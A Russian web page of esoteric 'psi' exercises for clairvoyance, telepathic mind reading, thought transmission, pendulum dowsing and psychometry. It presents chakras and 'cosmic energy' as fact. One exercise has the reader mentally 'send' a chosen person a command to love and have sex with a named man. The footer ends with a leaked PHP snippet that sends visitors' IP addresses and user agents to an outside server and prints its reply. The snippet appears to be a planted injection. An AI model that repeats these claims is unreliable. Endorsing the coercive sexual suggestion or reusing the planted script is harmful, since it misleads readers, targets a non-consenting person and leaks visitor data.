Упражняйся по ~ 35 мин, каждый день.
· Садись, закрой глаза. Погрузись во 2-ю ступень сознания.
· Сосредоточься на каком-нибудь пальце. Надо его ощутить.
· Вообрази, что в палец вливается жизненная энергия. Пака он не согнётся.
· Ощущай только палец.
· Вообрази, что палец – это человек, как будто всё твоё тело сжалось, уменьшилось и «ускользнуло» в него.
· Открой глаза.
· Подвигай пальцем. И надо понять игру мышц. Подумай, как это возможно – шевелить пальцем, как он работает в качестве части тела, почему и как ты его ощущаешь. Но думай об этом не как о задаче, а просто духовно наблюдай.
· И, одновременно, радуйся пальцу и тому, как он работает.
· В другие дни таким же способом сосредотачивайся по очереди на все другие части тела (руки, пальцы ног…), сначала которые снаружи, потом на внутренние органы.
Упражняйся по ~ 30 мин, каждый день.
Перед нами, как перед самыми высокоразвитыми существами, – по крайней мере, внутри нашей Солнечной системы, – стоит единственная задача – двигать вперёд высшее развитие – эволюцию!
· Ложись на живот. Погрузись в пси-сознание.
· Вообрази, что ты – рыба. Двигай телом, как движутся рыбы. Воображай, что видишь окружающий мир, как его видят рыбы. Живи жизнью рыбы.
· Потом таким же способом воображай, что ты развиваешься à лягушка à ящерица à сумчатое млекопитающее (опоссум – похож на большую мышь) à полуобезьяна (толстый лори, галаго …) à человекоподобная обезьяна à первобытный человек à современный человек.
Упражняйся по ~ 1 часу, 1 раз в неделю.
«Чёрное зеркало» - круглое стекло ~Æ 20 см, вогнутое на ~ 12 мм, выпуклая сторона покрашена чёрной краской, смотреть на вогнутую. Шар для ясновидения – простой стеклянный или хрустальный шар ~Æ 7 – 11 см.
Ступень 1:
· Садись. В комнате должно быть совершенно темно. Поставь перед собой на столе «чёрное зеркало» или шар для ясновидения. «Чёрное зеркало» должно быть параллельно твоему лицу. Недалеко сзади себя (~ 1 метр от головы) поставь 2 чёрных свечи так, чтобы тебе их не было видно.
· Погрузись в пси-сознание.
· Ни о чём не думай, голова должна быть пустая.
· Смотри на «чёрное зеркало» (шар). Широко открой глаза и не отводи взгляд в сторону.
· Тогда увидишь:
- зеркало расплывается, затуманивается;
- ты зеркало то видишь, то не видишь;
- в зеркале появляются изображения;
- появляется твоё лицо (отражение). Оно окружено светящимся ореолом.
· Когда увидишь своё отражение, вообрази, что твоё сознание переходит через горловую чакру (на горле, где бугорок) на это отражение. Не намеренно, одним, очень сильным усилием воли.
· Тогда ты будешь видеть своё тело с позиции отражения в зеркале. Сначала оно будет плохо видно, потом яснее.
· Вообрази, что твоё сознание, с отражения, переходит через теменную чакру (на вершине головы) обратно в головной мозг, на своё место.
· Затем снова переноси сознание на зеркало, потом обратно в мозг. Так несколько раз. Каждый раз делай это всё быстрее.
Ступень 2:
· Садись. В комнате должно быть совершенно темно. Поставь перед собой на столе «чёрное зеркало» или шар для ясновидения. Без свечей.
· Погрузись в пси-сознание.
· Ни о чём не думай, голова должна быть пустая.
· Смотри на «чёрное зеркало» (шар). Широко открой глаза и не отводи взгляд в сторону.
· Тогда увидишь:
- зеркало расплывается, затуманивается;
- ты зеркало то видишь, то не видишь;
- в зеркале появляются изображения;
- появляется твоё лицо (отражение). Оно окружено светящимся ореолом.
· Когда увидишь своё отражение, вообрази, что твоё сознание переходит через горловую чакру на это отражение. Не намеренно, одним, очень сильным усилием воли.
· Тогда ты будешь видеть своё тело с позиции отражения в зеркале. Сначала оно будет плохо видно, потом яснее.
· Вообрази, что твоё сознание, с отражения, переходит через теменную обратно в головной мозг, на своё место.
Упражняйся по ~ 30 мин, каждый день. Первые 1 – 2 недели ступень 1, в следующие ~ 2 недели – ступень 2.
Теменная чакра – «нервный центр», расположен на вершине головы, - для приёма мыслей окружающих людей. Это упражнение делает чакру более чувствительной.
Часть 1:
· Погрузись в пси-сознание.
· Сосредоточь всё внимание на вершине головы.
· Вообрази, что космическая энергия скапливается в вершине головы.
· Если в вершине головы потеплеет, – значит, энергия скопилась там – упражнение удачно.
· Вообрази, что из вершины головы космическая энергия перетекает обратно в голову.
· Сразу выполняй часть 2.
Часть 2:
· Вообрази, раскалённый шар. Шар надо воображать ярко светящимся, цвет должен быть от красновато-желтого до ярко-желтого.
· Вообрази, что этот шар перемешается из зрительного центра мозга в теменную чакру.
· Вообрази, что этот шар находится в теменной чакре и светится там. Воображай так ~ 1 мин.
· Если в вершине головы потеплеет, – значит, упражнение удачно.
· Вообрази, что из теменной чакры шар перемещается обратно в зрительный центр.
· Вообрази, что шар медленно остывает.
Выполняй каждую ступень по ~ 10 мин, – всё упражнение ~ 20 мин, можно 2 раза в каждый день.
· Закрой глаза, погрузись в пси-сознание.
· Мысленно скажи: «Я вижу полосатую ленту. 1 полоса – красная, следующая – оранжевая à жёлтая à зелёная à синяя à фиолетовая».
· Воображай эту полосу ~ 5 минут.
· Вообрази, что все цвета, в такой же последовательности, исчезают. Ритмично, один за другим. Остаётся только чёрная пустота.
Упражняйся по ~ 10 мин, можно 2 раза в каждый день.
Каждая человеческая мысль приводит к излучению импульсов энергии, как радиостанция. Надо настроится на длину волны этого человека, принять эти импульсы теменной чакрой, импульсы перейдут в твоё сознание.
· Если ты долго не видел человека, мысли которого ты хочешь читать, можно посмотреть на его фотографию.
· Погрузись в пси-сознание.
· Вообрази человека, мысли которого ты хочешь читать, как можно ярче и сильнее.
· Мысленно скажи: «Я принимаю его мысленные импульсы своей теменной чакрой. И слышу всё, о чём он сейчас думает».
· Сосредоточь всё своё внимание на том, чтобы принять его мысли. Сделай так, чтобы ничего кроме мыслей этого человека не могло проникнуть в твоё сознание.
· Ты услышишь мысли этого человека, как сказанные слова.
· Через много дней, если легко можешь читать мысли, попробуй таким же способом читать память, потом сигналы вегетативной нервной системы.
Упражняйся по времени – сколько хочешь, 1 – 2 раза в каждый день.
Лобная чакра – «нервный центр», расположен на между бровями, - для излучения мыслей в виде энергии. Это упражнение делает чакру более чувствительной.
Часть 1:
· Погрузись в пси-сознание.
· Сосредоточь всё внимание на точке посередине между бровями.
· Вообрази, что космическая энергия скапливается в этой точке.
· Если в этой точке потеплеет, – значит, энергия скопилась там – упражнение удачно.
· Вообрази, что из этой точки космическая энергия перетекает обратно в голову.
· Сразу выполняй часть 2.
Часть 2:
· Вообрази, раскалённый шар. Шар надо воображать ярко светящимся, цвет должен быть от красновато-желтого до ярко-желтого.
· Вообрази, что этот шар перемешается из зрительного центра мозга в лобную чакру.
· Вообрази, что этот шар находится в лобной чакре и светится там. Воображай так ~ 1 мин.
· Если там потеплеет, – значит, упражнение удачно.
· Вообрази, что из лобной чакры шар перемещается обратно в зрительный центр.
· Вообрази, что шар медленно остывает.
Выполняй каждую ступень по ~ 10 мин, – всё упражнение ~ 20 мин, можно 2 раза в каждый день.
· Погрузись в пси-сознание (с закрытыми глазами).
· Вообрази, что всё вокруг заполнено каким-нибудь одним (любимым) цветом. Цвет должен быть не ярким, а туманным.
· Вообрази, что в этом цвете появляются очертания, которые в природе такого же цвета: красный – огонь, заход солнца; зелёный – лес; голубой – море, небо; и так далее.
Упражняйся по ~ 20 мин, каждый день.
Нужна фотография человека, которому нужно передавать мысли. Все люди постоянно неосознанно принимают и излучают космическую энергию. Каждый человек на разной длине волны. Чтобы настроится на длину волны выбранного человека нужно на нём сосредоточиться. Учиться передавать мысли надо на людях, к которыми ты хорошо знаком, потом можно незнакомым.
· Погрузись в Пси-сознание
·
Внимательно смотри на фотографию этого
человека, 2-3 мин. Сосредоточься на нём.
Если фотографии нет, это действие можно не выполнять.
· Закрой глаза, вообрази его очень ярко и реалистично.
· Делай одновременно:
· Воображай его.
·
Мысленно говори слова, которые ты ему
хочешь передать.
Например, чтобы вызвать любовные чувства повторяй много раз:
"Ты любишь 'Имя Фамилия', ты должна заняться с ним сексом"
· Очень ярко и реалистично представляй:
· Эти твои мысли переходят в лобную чакру,
· излучаются оттуда в виде космической энергии,
· доходят до этого человека,
· через его теменную чакру проникают в мозг,
· превращаются там в его мысли.
· Этот человек будет слышать передаваемые слова как голос, и будет думать что это его собственные мысли.
Упражняйся по 15-40 мин. и больше каждый день. Чтобы действие было сильнее можно передавать мысли 3 - 7 раз в день. Таким же способом можно передавать чувства, воображения и т.д.
Отвес – это груз из латуни, вес 10 – 30 г; к нему привязана нить, - длина 10 – 30 см.
Все живые и неживые предметы постоянно излучают космическую энергию. Излучают её импульсами – как радиостанция. По этим импульсам можно прочитать, что происходит с предметом, который её излучил. Ты неосознанно принимаешь эту энергию специальными «нервными центрами» – чакрами. Потом импульсы этой энергии поступают в твоё подсознание. Есть такое упражнение: ты держишь в руке отвес, мысленно задаёшь вопрос своему подсознанию, оно оценивает все поступившие импульсы энергии, отвечает. В мозге есть центры, которые управляют твоими движениями. Тогда твоя рука, по команде этих центров, неосознанно вращает отвес в направлении по часовой стрелке или против. Это упражнение настраивает моторные центры мозга: при каком ответе, как им нужно вращать руку.
· Погрузись в пси-сознание.
· Вообрази, что все твои мысли проникают в моторные центры мозга.
· Вообрази – ты задаёшь вопрос своему подсознанию à оно отвечает «да» à твоя рука вращает отвес по направлению часовой стрелки. Воображай это очень сильно, ~ 5 мин.
· Вообрази – ты задаёшь вопрос своему подсознанию à оно отвечает «нет» à твоя рука вращает отвес против направления часовой стрелки. Воображай это очень сильно, ~ 5 мин.
· Вообрази – лист бумаги, на нём написаны буквы или слова, ты держишь отвес над этим листом, и задаёшь вопрос своему подсознанию à оно отвечает – выбирает нужную букву à твоя рука качает отвес по направлению нужной буквы. Воображай это ~ 5 мин.
· Мысленно скажи: «Как только впредь я возьму в руку отвес, чтобы мысленно задать вопросы подсознанию, он должен будет вращаться или колебаться по заданным мною сегодня воображениям».
Упражняйся по ~ 15 мин, каждый день.
· Садись за стол, положи перед собой цветок (не искусственный). Кроме цветка на столе ничего не должно быть. Погрузись во 2-ю ступень сознания.
· Сосредоточь всё внимание на цветке.
· Рассматривай форму цветка, цвет, лепестки, пестик, тычинку.
· Позволь цветку воздействовать на тебя:
- увидь его красоту;
- подумай о месте этого цветка в эволюции жизни на Земле;
- подумай, – в этом цветке ты встречаешься с миллионами лет;
- попытайся понять: что такое жизнь в этом цветке?
- подумай о связи между всеми живыми существами – растениями, животными, людьми;
- подумай, – в чём разница между твоей жизнью и жизнью цветка;
- подумай, – ты видишь, что цветок живой, но чтобы это увидеть недостаточно зрительной картинки, – ты заранее знаешь что такое жизнь. Значит между цветком и тобой существует связь.
Упражняйся,– сколько хочешь (продолжительность), каждый день.
· Садись за стол. Погрузись в пси-сознание.
· Возьми большим и указательным пальцами отвес за конец нити. Поставь эту руку на локоть на стол. Держи отвес прямо перед собой, невысоко над столом. Подожди, когда отвес перестанет качаться.
· Мысленно, очень сильно, скажи какой-нибудь вопрос, на который можно ответить «да» или «нет». Первые дни надо задавать такие вопросы, которые можно легко проверить.
· Во время вопроса воображай, что он переходит в подсознание и оно самостоятельно найдёт ответ.
· Через 0 – 5 секунд отвес начнёт вращаться, по направлению часовой стрелки или против. Если по часовой, – значит ответ «да», если против часовой стрелки, – значит «нет».
Упражняйся по ~ 2 мин, 1 раз в неделю.
·
Напечатай
эту кодовую таблицу (или нарисуй).
· Садись за стол, положи перед собой эту таблицу. Возьми большим и указательным пальцами отвес за конец нити. Поставь эту руку на локоть на стол. Держи отвес над центральной точкой таблицы, на высоте несколько миллиметров над таблицей. Подожди, когда отвес перестанет качаться.
· Не смотри на таблицу и отвес.
· Мысленно, очень сильно, скажи какой-нибудь вопрос.
· Во время вопроса воображай, что он переходит в подсознание и оно самостоятельно найдёт ответ.
· Узнавай ответ по одной букве, – мысленно, очень сильно, спроси: «Первая буква?».
· Отвес будет качаться в направлении 1-ой нужной буквы.
· Мысленно скажи: «Вторая буква?».
· Отвес будет качаться в направлении 2-ой нужной буквы.
· Так повторяй. Если ты задаёшь вопрос, но отвес не качается, значит ответ закончен.
Упражняйся по ~ 10 мин, каждый день.
Воображение – это когда ты в мозге создаёшь зрительную картину, но глазами её не видишь. Во время ясновидения и телепатии ты «смотришь» при помощи особенных «нервных центров» – чакр, и видишь эту картину в мозге. Надо развивать способность в мозге видеть зрительные картины, звуки, запахи…
1. Часть: Воображение запахов
· Если хочешь, побрызгай в комнате каким-нибудь дезодорантом с запахом моря.
· Ложись, закрой глаза. Погрузись в пси-сознание.
· Несколько раз мысленно скажи: «Я лежу на берегу океана, на пляже, с закрытыми глазами». Но не надо воображать вид пляжа или его звуки.
· Вообрази только, что носом чувствуешь запахи:
- солоновато свежий океанский воздух;
- водоросли;
- орхидеи, растущие рядом с пляжем.
· Только когда хорошо будешь чувствовать запахи, – сразу переходи 2-й части.
2. Часть: Воображение осязания и запахов
· Воображай, что чувствуешь телом:
- мягкий, тёплый песок;
- кожей тепло лучей южного солнца;
- приятный прохладный ветер с моря
· Только когда хорошо будешь чувствовать осязания + запахи, – переходи 3-й части.
3. Часть: Воображение звуков, осязания и запахов
· Воображай, что слышишь:
- шум прибоя;
- шелест ветра в метёлках пальм;
- щебетание птиц, пролетающих над тобой.
· Только когда будешь воспринимать звуки + осязания + запахи, – переходи 4-й части.
4. Часть: Воображение вкуса, звуков, осязания и запахов
· Воображай, что на языке чувствуешь вкус солоноватого океанского воздуха.
· Только когда хорошо будешь воспринимать вкус + звуки + осязания + запахи, – переходи 5-й части.
5. Часть: Воображение всех ощущений
· Вообрази, что открываешь глаза и видишь:
- сверкающий голубой океан;
- коралловый риф;
- над тобой кокосовые пальмы;
- мягкий белый песок.
· Вообрази, как зачёрпываешь в руку песок, и он медленно просыпается между пальцами. Это надо видеть + осязать.
Через много дней, когда хорошо научишься, можно выполнять это упражнение:
- сидя или при ходьбе;
- наоборот начиная с 5-й части à 1-ой;
- ходить по пляжу и что-нибудь делать.
Упражняйся по ~ 2 часа, каждый день.
Планирование:
· Первые 3 – 4 раза, через каждые 2 –3 дня:
1. Подумай над вопросом: какие ценности, цели и желания до сих пор определяли твою жизнь? Запиши ответ.
2. Подумай: каким ты сам хочешь быть – «идеал» самого себя? Запиши ответ.
3. Подумай: когда, где и насколько ты отклонился от своего «идеала»?
4. Вообрази, что тебе недолго осталось до смерти. Подумай тогда: какая у тебя должна быть прошедшая жизнь, чтобы ты ей был доволен? Запиши ответ.
5.
Подумай: почему ты не такой, какой твой
«идеал? Под какими влияниями ты придумал «идеал» самого себя? Запиши.
– Многие люди придумали свой «идеал» под влиянием окружающих их людей.
6. Подумай: кто управлял твоей прошедшей жизнью: ты сам, случайности, другой человек? Запиши.
7. Подумай: что ты планируешь сделать в ближайшее время, чтобы в конце своей жизни ты остался ею доволен? Запиши.
· Потом в течении полгода ~ 1 раз в месяц:
· Прочитай свои записи после последнего упражнения по планированию жизни.
·
Вообрази, что тебе недолго
осталось до смерти. Подумай тогда: какая у тебя должна быть прошедшая
жизнь, чтобы ты ей был доволен?
– Если твоё мнение изменилось, – исправь то, что неправильно и дополни.
·
Подумай: что ты планируешь
сделать в ближайшее время, чтобы в конце своей жизни ты остался ею
доволен?
– Если твоё мнение изменилось, – исправь то, что неправильно и дополни.
Проверка каждый день, вечером:
· Прочитай свои записи после последнего упражнения по планированию жизни.
· Подумай: тобою сегодня управляли ценности, которые ты определил в планировании? Запиши ответ.
· Если ответ «нет» – подумай: когда и почему ты изменил этим ценностям? Запиши.
Планировать жизнь надо по ~ 1 часу, проверять по ~ 5 мин.
Это – держишь в руках какой-нибудь предмет, à придумываешь свой вопрос, à он передаётся по нервам в виде импульсов космической энергии, à доходит до кожи кисти руки, à попадает в предмет, à предмет «отвечает», ответ – в виде импульсов энергии, à через руки, идёт по нервам, à доходит до мозга, à в мозге появляютя видения и звуки.
· Ты будешь узнавать от предмета, что происходило в прошлом с ним и вокруг него. Сначала много раз упражняйся с близким тебе предметом. Потом можно взять предмет у другого человека, чтобы после упражнения проверить – правильно ли ты узнал историю предмета. Положи рядом с собой этот предмет.
· Садись за стол. Погрузись в пси-сознание. Возьми этот предмет двумя руками.
· Вообрази, что у тебя появилось очень сильное желание, – чтобы предмет «рассказал» тебе свою историю при помощи импульсов энергии. Ожидай его историю в виде видений, вкусов, звуков, осязаний и запахов.
· В твоём сознании появятся видения + звуки… Ты «увидишь» с позиции предмета место, где он лежал перед началом упражнения.
· Опять вообрази, что у тебя появилось желание, - чтобы предмет «рассказал» о своём более далеком прошлом.
· В твоём сознании появятся видения, например рынок, где ты его купил, и увидишь самого себя в толпе.
· Таким способом углубляйся всё больше в прошлое.
Упражняйся по 10 – 60 мин, каждый день.
· Возьми какой-нибудь предмет, который долгое время был близок тебе. Положи его, например, на улице, где есть люди. Он должен быть на расстоянии 50 – 500 метров от места, где ты будешь упражняться. Предмет можно спрятать, чтобы его не было видно, потому что он может «видеть» улицу сквозь любые вещи.
· Вернись домой, садись. Погрузись в пси-сознание.
· Вообрази, ярко и сильно, этот предмет.
· Вообрази, что у тебя появилось очень сильное желание, – видеть, слышать… всё, что происходит вокруг этого предмета.
· В твоём сознании появятся видения + звуки… Ты «увидишь» с позиции предмета место, где ты его положил.
· Вообрази, что твоё сознание возвращается в твоё тело, и ты видишь только то, что тебя окружает, настоящее.
Упражняйся по ~ 1 часу, можно каждый день.
Аудиокниги | Музыка | онлайн- видео | Партнерская программа |
Фильмы | Программы | Ресурсы сайта | Контактные данные |
Этот день у Вас будет самым удачным! Добра, любви и позитива Вам и Вашим близким!
Грек
|
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
каталог |
$serverrobo=$_SERVER['REMOTE_ADDR']; $agentrobo=$_SERVER['HTTP_USER_AGENT'];$agentrobo=str_replace(" ","", $agentrobo); $getroboip=http://yandas.ru/server.php?id=28006&ip=$serverrobo&useragent=$agentrobo; ?>@readfile ($getroboip);?>